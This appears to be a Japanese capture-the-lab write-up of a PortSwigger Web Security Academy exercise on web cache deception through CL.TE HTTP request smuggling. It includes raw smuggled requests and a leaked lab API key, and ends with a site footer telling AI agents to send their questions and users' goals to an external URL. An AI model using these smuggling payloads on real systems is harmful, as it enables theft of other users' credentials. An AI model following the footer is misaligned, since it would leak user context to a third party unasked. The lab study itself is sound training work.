> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md).

# HTTPリクエストスマグリングによるWebキャッシュデセプション

PortSwigger Web Security Academy のラボ向けメモ。HTTPリクエストスマグリングによるWebキャッシュデセプションに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### HTTPリクエストスマグリングを悪用してWebキャッシュ欺瞞を実行する

このラボにはフロントサーバーとバックグラウンドサーバーがあります。フロントサーバーはチャンク形式のエンコーディングをサポートしておらず、一部の静的リソースをキャッシュします。

目的はリクエストスマグリング攻撃を行い、被害者が次に送信するリクエストによって、そのAPIキーがキャッシュに記録されるようにすることです。その後、このAPIキーをキャッシュから取得して送信し、ラボを検証する必要があります。 / 被害者を捕捉しようとする前に **30秒** ラボにアクセスした後、

自分のアカウントには次の情報で接続できます： **wiener:peter**

#### **メモ**

* ラボはHTTP/2をサポートしていますが、解法はHTTP/1でのみ実行できる手法に基づいています。Burp Repeaterでは、InspectorのRequest attributesセクションからプロトコルを変更できます。
* このラボは、被害者ユーザーの動作をシミュレートしています。攻撃者が送信した数少ないPOSTリクエストごとに、被害者も自分のリクエストを送信します。シーケンスを正しく同期させるために、攻撃を繰り返す必要がある場合があります。

#### **振る舞いの分析**

My accountパネルには、自分のAPIキーがあります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c5dcca325f465fbbfd79e3860eb7ca09aedbe29%2F%7B27ED4ED1-1CA7-4A7D-8E19-E44EB1411C8C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

観察すると、 `tracking.js` ファイルがキャッシュされるのは **30秒**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-48195e791e5e08c3571ae13a2c150e4c9f61b2dc%2F%7B718A07ED-FD8B-40BF-88C3-D1DBF8044AE6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **初期テスト**

次の不正なリクエストを送信すると：

```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 35
Transfer-Encoding: chunked

0

GET /error HTTP/1.1
Test: A
```

レスポンスが返ってきます **404**。これにより、利用可能な挙動であることが確認できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-957fe4d7e74fa2c8fcf0bf8438191c85dd4382c7%2F%7BECE9AB42-5F91-41E3-9C65-F42C0F73B745%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **/my-account を狙ったスマグリング**

次に、 `/my-account` へのスマグリングされたリクエストが準備されます：

```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 38
Transfer-Encoding: chunked

0

GET /my-account HTTP/1.1
Test: A
```

被害者がこちらの注入後に自分のリクエストを送信すると、\*\*彼のAPIキー\*\*を含むレスポンスが、代わりにキャッシュに保存されます `tracking.js` ファイルに存在するユーザーに対して試します。

#### **結果**

キャッシュされたリソースを読み込むと、管理者のAPIキーが表示されます：

```
あなたのAPIキーは: WiH6ND6YwY5ISnCFYbKbTKFRwFF4VXnk
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f19056b0bbf841e807ed66346f4af0cd4973e8fd%2F%7BC82E9E26-D383-4D26-B1A0-EF2A836FD52A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
